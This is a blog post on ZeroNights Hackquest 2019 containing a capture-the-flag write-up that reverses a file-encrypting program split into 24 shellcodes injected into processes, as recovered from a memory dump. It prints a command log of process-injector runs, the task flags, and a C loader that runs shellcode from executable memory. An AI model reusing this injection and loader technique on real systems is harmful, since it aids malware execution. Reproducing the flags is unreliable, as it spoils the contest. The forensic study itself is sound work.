ZN{RA$T0GR@PHY_H3RTS}

Day 7. Beep Beep!

Победители
1 место
sysenter

Финальное задание хакквеста предоставлено SchoolCTF. Участникам предстояло разобрать дамп памяти, в котором находилась программа, шифрующая файлы. Осложнялось все тем, что программа была разделена на несколько частей, которые были иньектированы в другие процессы.

Решение задания седьмого дня (sysenter)

Something that looks like VirtualBox RAM dump is provided to us.

We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.

ZeroNights Hackquest 2019. Results & Writeups - 25

No process memory for us today, so we will have to work with fragmented memory.

First of all let's precache strings from the dump.

strings > strings_ascii.txt
strings -e l > strings_wide.txt

Most interesting one is command execution log:

cd ..
.injector.exe 192.168.1.65
.run.exe .storage
cd .server
.run.exe block1
.run.exe block0
cd Z:zn_2019
cd .server
cd ..
.injector.exe 192.168.1.65
cd Z:zn_2019
.injector.exe 192.168.1.65
cd ..
touch
echo
echo qwe 
echo qwe > flag.txt
.injector.exe 192.168.1.65
echo qwe > flag.txt
.injector.exe 192.168.1.65
echo qwe > flag.txt
.injector.exe 192.168.1.65
echo qwe > flag.txt
cd Z:zn_2019
.injector.exe 192.168.1.65
cd Z:zn_2019
injector.exe 1921.68.1.65
injector.exe 192.68.1.65
./injector.exe 192.68.1.65
.injector.exe 192.168.1.65
cd Z:zn_2019
.injector.exe 192.168.1.65
cd Z:zn_2019
.injector.exe 192.168.1.65
cd Z:zn_2019server
run storage
.run.exe .storage
cd Z:zn_2019server
.run.exe block1
cd Z:zn_2019server
.run.exe block0
cd ..
.injector.exe 192.168.1.65
cd Z:zn_2019
.injector.exe 192.168.1.65
cd Z:zn_2019
.injector.exe 192.168.1.65
cd Z:zn_2019
.injector.exe 192.168.1.65
cd Z:zn_2019
.injector.exe 192.168.1.65
cd Z:zn_2019
.Injector2.exe 192.168.1.65
cd Z:zn_2019
.injector.exe 192.168.1.65
.injector2.exe 192.168.1.65
cd Z:zn_2019
.Injector2.exe 192.168.1.65
'.ConsoleApplication5 (2).exe' 192.168.1.65

Not Important note:

Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).

SIGN.MEDIA=138A400 zn_2019ConsoleApplication5 (2).exe
SIGN.MEDIA=138A400 zn_2019ConsoleApplication5.exe
SIGN.MEDIA=138A400 zn_2019Injector2.exe
SIGN.MEDIA=138A400 zn_2019Is_it_you_suspended_or_me.exe
SIGN.MEDIA=138A400 zn_2019NOTE1.exe
SIGN.MEDIA=138A400 zn_2019NOTE1.exe
SIGN.MEDIA=138A400 zn_2019With_little_debug.exe
SIGN.MEDIA=138A400 zn_2019im_spawned_you_so_i_should_kill_you.exe
SIGN.MEDIA=138A400 zn_2019injector.exe
SIGN.MEDIA=138A400 zn_2019nnnn.exe
SIGN.MEDIA=138A400 zn_2019not_so_sleepy_r_we.exe
SIGN.MEDIA=138A400 zn_2019note.exe
SIGN.MEDIA=138A400 zn_2019note2.exe
SIGN.MEDIA=138A400 zn_2019note3.exe
SIGN.MEDIA=138A400 zn_2019note4.exe
SIGN.MEDIA=138A400 zn_2019random.exe
SIGN.MEDIA=138A400 zn_2019z.exe
SIGN.MEDIA=17582C zn_2019Injector2.exe
SIGN.MEDIA=17582C zn_2019injector.exe
SIGN.MEDIA=196C2 zn_2019serverrun.exe
SIGN.MEDIA=1C176B0 zn_2019ConsoleApplication5 (2).exe
SIGN.MEDIA=1C176B0 zn_2019ConsoleApplication5.exe
SIGN.MEDIA=1C176B0 zn_2019Injector2.exe
SIGN.MEDIA=1C176B0 zn_2019injector.exe
SIGN.MEDIA=1C176B0 zn_2019note.exe
SIGN.MEDIA=1C176B0 zn_2019note2.exe
SIGN.MEDIA=1C176B0 zn_2019note3.exe
SIGN.MEDIA=1C1D02C zn_2019ConsoleApplication5 (2).exe
SIGN.MEDIA=1C1D02C zn_2019ConsoleApplication5.exe
SIGN.MEDIA=1C1D02C zn_2019Injector2.exe
SIGN.MEDIA=1C1D02C zn_2019Is_it_you_suspended_or_me.exe
SIGN.MEDIA=1C1D02C zn_2019With_little_debug.exe
SIGN.MEDIA=1C1D02C zn_2019injector.exe
SIGN.MEDIA=1C1D02C zn_2019not_so_sleepy_r_we.exe
SIGN.MEDIA=1C1D02C zn_2019note.exe
SIGN.MEDIA=1C1D02C zn_2019note2.exe
SIGN.MEDIA=1C1D02C zn_2019note3.exe
SIGN.MEDIA=1C1DAB0 zn_2019ConsoleApplication5 (2).exe
SIGN.MEDIA=1C1DAB0 zn_2019ConsoleApplication5.exe
SIGN.MEDIA=1C1DAB0 zn_2019Injector2.exe
SIGN.MEDIA=1C1DAB0 zn_2019With_little_debug.exe
SIGN.MEDIA=1C1DAB0 zn_2019injector.exe
SIGN.MEDIA=1C1DAB0 zn_2019note.exe
SIGN.MEDIA=1C1DAB0 zn_2019note2.exe
SIGN.MEDIA=1C1DAB0 zn_2019note3.exe
SIGN.MEDIA=1C30058 zn_2019ConsoleApplication5 (2).exe
SIGN.MEDIA=1C30058 zn_2019ConsoleApplication5.exe
SIGN.MEDIA=1C30058 zn_2019Injector2.exe
SIGN.MEDIA=1C30058 zn_2019Is_it_you_suspended_or_me.exe
SIGN.MEDIA=1C30058 zn_2019With_little_debug.exe
SIGN.MEDIA=1C30058 zn_2019injector.exe
SIGN.MEDIA=1C30058 zn_2019injector.exe
SIGN.MEDIA=1C30058 zn_2019not_so_sleepy_r_we.exe
SIGN.MEDIA=1C30058 zn_2019note.exe
SIGN.MEDIA=1C30058 zn_2019note2.exe
SIGN.MEDIA=1C30058 zn_2019note3.exe
SIGN.MEDIA=1C89400 zn_2019ConsoleApplication5 (2).exe
SIGN.MEDIA=1C89400 zn_2019ConsoleApplication5.exe
SIGN.MEDIA=1C89400 zn_2019Injector2.exe
SIGN.MEDIA=1C89400 zn_2019Is_it_you_suspended_or_me.exe
SIGN.MEDIA=1C89400 zn_2019NOTE1.exe
SIGN.MEDIA=1C89400 zn_2019With_little_debug.exe
SIGN.MEDIA=1C89400 zn_2019im_spawned_you_so_i_should_kill_you.exe
SIGN.MEDIA=1C89400 zn_2019injector.exe
SIGN.MEDIA=1C89400 zn_2019nnnn.exe
SIGN.MEDIA=1C89400 zn_2019not_so_sleepy_r_we.exe
SIGN.MEDIA=1C89400 zn_2019note.exe
SIGN.MEDIA=1C89400 zn_2019note.exe
SIGN.MEDIA=1C89400 zn_2019note2.exe
SIGN.MEDIA=1C89400 zn_2019note3.exe
SIGN.MEDIA=1C89400 zn_2019note4.exe
SIGN.MEDIA=1C8A800 zn_2019ConsoleApplication5 (2).exe
SIGN.MEDIA=1C8A800 zn_2019ConsoleApplication5.exe
SIGN.MEDIA=1C8A800 zn_2019Injector2.exe
SIGN.MEDIA=1C8A800 zn_2019Is_it_you_suspended_or_me.exe
SIGN.MEDIA=1C8A800 zn_2019NOTE1.exe
SIGN.MEDIA=1C8A800 zn_2019With_little_debug.exe
SIGN.MEDIA=1C8A800 zn_2019im_spawned_you_so_i_should_kill_you.exe
SIGN.MEDIA=1C8A800 zn_2019injector.exe
SIGN.MEDIA=1C8A800 zn_2019nnnn.exe
SIGN.MEDIA=1C8A800 zn_2019not_so_sleepy_r_we.exe
SIGN.MEDIA=1C8A800 zn_2019note.exe
SIGN.MEDIA=1C8A800 zn_2019note2.exe
SIGN.MEDIA=1C8A800 zn_2019note3.exe
SIGN.MEDIA=1C8A800 zn_2019note4.exe
SIGN.MEDIA=2D702C zn_2019ConsoleApplication5 (2).exe
SIGN.MEDIA=3EDC2 zn_2019servera.exe
SIGN.MEDIA=3EDC2 zn_2019serverhui.exe
SIGN.MEDIA=3EDC2 zn_2019serverrun.exe
SIGN.MEDIA=4482C zn_2019ConsoleApplication5.exe
SIGN.MEDIA=4482C zn_2019PEview.exe
SIGN.MEDIA=5B0058 zn_2019ConsoleApplication5 (2).exe
SIGN.MEDIA=5B0058 zn_2019ConsoleApplication5.exe
SIGN.MEDIA=5B0058 zn_2019Injector2.exe
SIGN.MEDIA=5B0058 zn_2019injector.exe
SIGN.MEDIA=5B0058 zn_2019note.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiDiscord.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiFar.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiFileZillaFTPclient.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiInputDirector.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiKeePass.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiPicPick.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiSkype.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiUpdateManager.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiVBoxManager.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiidaq.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuijavaw.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuilunix.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuipaint.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuipython3.7.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuir.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuisvghost.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuitsm.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuiusha.exe
SIGN.MEDIA=A856FE8 zn_2019serverhuivideo_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe
SIGN.MEDIA=AB82C zn_2019ConsoleApplication5.exe
SIGN.MEDIA=AB82C zn_2019injector.exe
SIGN.MEDIA=B06D4C64 zn_2019servera.exe
SIGN.MEDIA=B06D4C64 zn_2019serverhui.exe
SIGN.MEDIA=B06D4C64 zn_2019serverrun.exe
SIGN.MEDIA=B06D4C64 zn_2019servervideo_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe
SIGN.MEDIA=BA802 zn_2019serverrun.exe
SIGN.MEDIA=E00058 zn_2019ConsoleApplication5 (2).exe
SIGN.MEDIA=E00058 zn_2019ConsoleApplication5.exe
SIGN.MEDIA=E00058 zn_2019Injector2.exe
SIGN.MEDIA=E00058 zn_2019injector.exe
SIGN.MEDIA=E00058 zn_2019note.exe
SIGN.MEDIA=E00058 zn_2019note2.exe
SIGN.MEDIA=E00058 zn_2019note2.exe
SIGN.MEDIA=E9982 zn_2019serverrun.exe

I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).

ZeroNights Hackquest 2019. Results & Writeups - 26
ZeroNights Hackquest 2019. Results & Writeups - 27

data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.

This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with ".pipezn_shell_stor" argument.

ZeroNights Hackquest 2019. Results & Writeups - 28

I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.

One of shellcode #21 contained references to other, it is probably the main one.

GlobalvtHAjnNbCecOeNAnVeQFmdRw
GlobaljGzXXZJbXGPYniopljDEdwuD
GlobaljpBuyMNJzdnpwHimVlcBkwGo
GlobalArlCJOxJFOKRkqOLcBhvjYqj
GlobalTHxjCBohxSlNgCFbwJsHujqk
GlobalBOiJhsLFBuZdsFdCrLKEucpJ
GlobaliYxszVIFfsuzzEmGwgOQeEcb
GlobalNOluZoXPJalShopCCuNnWQbR
GlobalGCrtPmNEAOsZpSNNBdiYQfgz
GlobalpVVgeqcREhXSgKCwhkeyfTXw
GlobaltrsQPehKvlxBJhEqIPtwzjxi
GlobalngVrhgAEqcDssFsNerrAZsFz
GlobalKiZvGyiMnyTgvQdFNGcudfTY
GlobalFzXvKPKGCPMAERklFMXVMYga
GlobalnCZpFZPtyidhFOvVeemfyJAC
GlobalpjRmfOLLBXIbsJholoasvrqC
GlobalmhOVYcYRKgWdABAsgkvrcOOM
GlobalsyGiShcLTXfQYGAAiafYBxoF
GlobalKbFVsPCPZrfVlUIQlvVoJLXW
GlobalXbuYiHCxQLTLApuToFldJIgI
GlobalauFqpIQAlsHcvjPEakqHyIeA
GlobalMrnXOMJvHmYBxRfkbLBUYWgn
GlobalGYVOmvrLhCpgQUPfnOshzzem
Globalqaswedfrtghyujkiol121232
\.pipezn_shell_stor

Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe ".pipezn_shell_stor".

File Tags Mutex
b1 mov mov GlobalGCrtPmNEAOsZpSNNBdiYQfgz
b2 SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ" GlobalNOluZoXPJalShopCCuNnWQbR
b3 inc byte [rbp+0Ch] GlobalngVrhgAEqcDssFsNerrAZsFz
b4 repne scasb strlen() == 18 GlobaljpBuyMNJzdnpwHimVlcBkwGo
b5 ?? GlobalArlCJOxJFOKRkqOLcBhvjYqj
b6 xor BUFFER "x31x2Ax72xC8x5Ex08xC5xFE x07x44xCBxEBx76x3BxE1x3Ax83" GlobalMrnXOMJvHmYBxRfkbLBUYWgn
b7 ?? GlobalGYVOmvrLhCpgQUPfnOshzzem
b8 cmp word [rbp+0Ch], 12h GlobalKbFVsPCPZrfVlUIQlvVoJLXW
b9 ?? GlobalBOiJhsLFBuZdsFdCrLKEucpJ
b10 ?? GlobaliYxszVIFfsuzzEmGwgOQeEcb
b11 cmp GlobalpjRmfOLLBXIbsJholoasvrqC
b12 add xor cl x2 GlobalnCZpFZPtyidhFOvVeemfyJAC
b13 inc [rbp+0Ch] GlobalauFqpIQAlsHcvjPEakqHyIeA
b14 dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch] GlobalsyGiShcLTXfQYGAAiafYBxoF
b15 WIN! Sleep Beep GlobalXbuYiHCxQLTLApuToFldJIgI
b16 save byte GlobalmhOVYcYRKgWdABAsgkvrcOOM
b17 add xor cl x2 GlobalFzXvKPKGCPMAERklFMXVMYga
b18 zero rbp (0, 211h, 80h) GlobaltrsQPehKvlxBJhEqIPtwzjxi
b19 ?? GlobalKiZvGyiMnyTgvQdFNGcudfTY
b20 Read from C:beepsflag.txt GlobalvtHAjnNbCecOeNAnVeQFmdRw
b21 MAIN
b22 Xor GlobalTHxjCBohxSlNgCFbwJsHujqk
b23 cmp dw[rbp+0Ch], 256 dec GlobalpVVgeqcREhXSgKCwhkeyfTXw
b24 beep(1000, 1100) GlobaljGzXXZJbXGPYniopljDEdwuD

Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.

I decided to execute it all and see what happens. All shellcodes was saved as files bN, where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:beepsflag.txt should be present in system for #20 to work.

#include <windows.h>

void load_shellcode(int index) {
    FILE* fp;   
    DWORD dwThread;
    int size;
    CHAR filename[32];

    sprintf_s(filename, "b%i", index);
    fopen_s(&fp, filename, "rb");
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET); 
    LPVOID pMem = VirtualAlloc(
        NULL, 
        0x1000, 
        MEM_COMMIT | MEM_RESERVE, 
        PAGE_EXECUTE_READWRITE
    );
    printf("Loaded %i | size=%i | at %pn", index, size, pMem); 
    fread(pMem, 1, size, fp);   
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread);
    fclose(fp);
}

int main() {
    load_shellcode(21);
    Sleep(1000);
    for (int i = 1; i <= 24; i++) {
        if (i == 21)
            continue;
        load_shellcode(i);
    }
    while (1)
        Sleep(1000);
}

I created C:beepsflag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).

Program executed and flag showed up in memory after XOR operation.

Flag: zn{$ucHSL0W!pC}

Также sysenter подготовил разбор задания 6 дня. Ознакомится можно здесь.

Немного статистики

В этом году более двух тысяч человек посетили страницы заданий либо скачали необходимые для решения файлы. При этом 136 участников сделали попытку сдать флаг.

Разброс в сложности заданий был достаточно большой.
Самым сложным оказалось задание четвертого дня — ASR-EHD от Digital Security. С ним справился один человек (AV1ct0r), который отослал флаг спустя 22ч 15м после начала задания.

Самым же легким оказался Protected Shell от RuCTFE. С ним справилось больше всего участников — 10. Первым стал vos, сдав правильный флаг через 1ч 26м.

Надеемся, вам понравились задания этого года. Ждем всех 12-13 ноября на конференции ZeroNights.

Автор: juwilie

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js